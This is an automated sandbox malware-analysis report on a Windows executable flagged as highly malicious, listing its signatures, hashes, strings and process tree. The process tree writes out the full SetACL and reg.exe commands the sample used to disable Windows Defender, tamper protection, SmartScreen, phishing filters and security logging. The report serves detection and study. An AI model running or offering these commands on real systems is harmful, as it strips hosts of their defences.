Edit tour

Windows Analysis Report
Ms63nDrOBa.exe

Overview

General Information

Sample name:	Ms63nDrOBa.exe renamed because original name is a hash value
Original sample name:	ad3a57927668a9560b5f01d7ff54c881.exe
Analysis ID:	1472092
MD5:	ad3a57927668a9560b5f01d7ff54c881
SHA1:	d0c66b9b5e5f58baff91f23f91a67fd3e8359662
SHA256:	efc2d3750186e0038a9bfb4e292298f92bce9f80d2af0a992a3e5fe0c9f29ecf
Tags:	exe
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Adds extensions / path to Windows Defender exclusion list (Registry)

Disable Microsoft Windows Malicious Software Removal Tool Heartbeat Telemetry

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Disables the Smart Screen filter

Disables the phising filter of Microsoft Edge

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses cmd line tools excessively to alter registry or file data

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Windows Defender Exclusions Added - Registry

Too many similar processes found

Uses 32bit PE files

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

Ms63nDrOBa.exe (PID: 6564 cmdline: "C:\Users\user\Desktop\Ms63nDrOBa.exe" MD5: AD3A57927668A9560B5F01D7FF54C881)

cmd.exe (PID: 6184 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SetACL64.exe (PID: 4364 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

cmd.exe (PID: 1824 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn1.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SetACL64.exe (PID: 1812 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

SetACL64.exe (PID: 2420 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

SetACL64.exe (PID: 3108 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

SetACL64.exe (PID: 2704 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

SetACL64.exe (PID: 5372 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

SetACL64.exe (PID: 2812 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

SetACL64.exe (PID: 1176 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)

reg.exe (PID: 6492 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 2404 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 6320 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5172 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 6052 cmdline: reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 4032 cmdline: reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5224 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5672 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 4868 cmdline: reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 3248 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 6784 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5696 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 6468 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 4196 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 3520 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 3928 cmdline: reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 3432 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 7124 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 4364 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5052 cmdline: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 6548 cmdline: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 2612 cmdline: reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 1584 cmdline: reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 3108 cmdline: reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5948 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 1592 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 616 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 1080 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 4904 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Mpuser" /v "MpEnablePus" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 5308 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cleanup

Sigma Signatures

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 1080, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\DisableAutoExclusions

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe	Virustotal: Detection: 19%			Perma Link

Multi AV Scanner detection for submitted file

Source: Ms63nDrOBa.exe	ReversingLabs: Detection: 28%
Source: Ms63nDrOBa.exe	Virustotal: Detection: 33%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Ms63nDrOBa.exe

Joe Sandbox ML: detected

Source: Ms63nDrOBa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Ms63nDrOBa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdbG source: SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr
Source:	Binary string: D:\Projects\New\win_version_csharp\obj\Release\win_version_csharp.pdb source: win_version_csharp.exe.0.dr
Source:	Binary string: D:\Projects\ConsoleApplication9\ConsoleApplication9\obj\Release\ConsoleApplication9.pdb source: uxdabweej.exe.0.dr
Source:	Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdb source: SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Windows\SysWOW64\reg.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions DisableAutoExclusions

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Code function: 0_2_00405C40 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C40
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Code function: 0_2_00406891 FindFirstFileW,FindClose,	0_2_00406891
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C17296D0 FindFirstFileW,GetLastError,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF7C17296D0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175C76C _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	4_2_00007FF7C175C76C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C173CF15 MoveFileExW,FindFirstFileW,GetLastError,FindNextFileW,DeleteFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF7C173CF15

Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: PowerRun64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: PowerRun64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: PowerRun64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Ms63nDrOBa.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: PowerRun64.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: PowerRun64.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: PowerRun64.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: PowerRun64.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SetACL64.exe, SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr	String found in binary or memory: https://helgeklein.com
Source: SetACL64.exe, SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr	String found in binary or memory: https://helgeklein.com.
Source: SetACL64.exe, SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr	String found in binary or memory: https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe
Source: Ms63nDrOBa.exe, 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: PowerRun64.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

Code function: 0_2_004056F8 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056F8

Source: reg.exe

Process created: 68

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

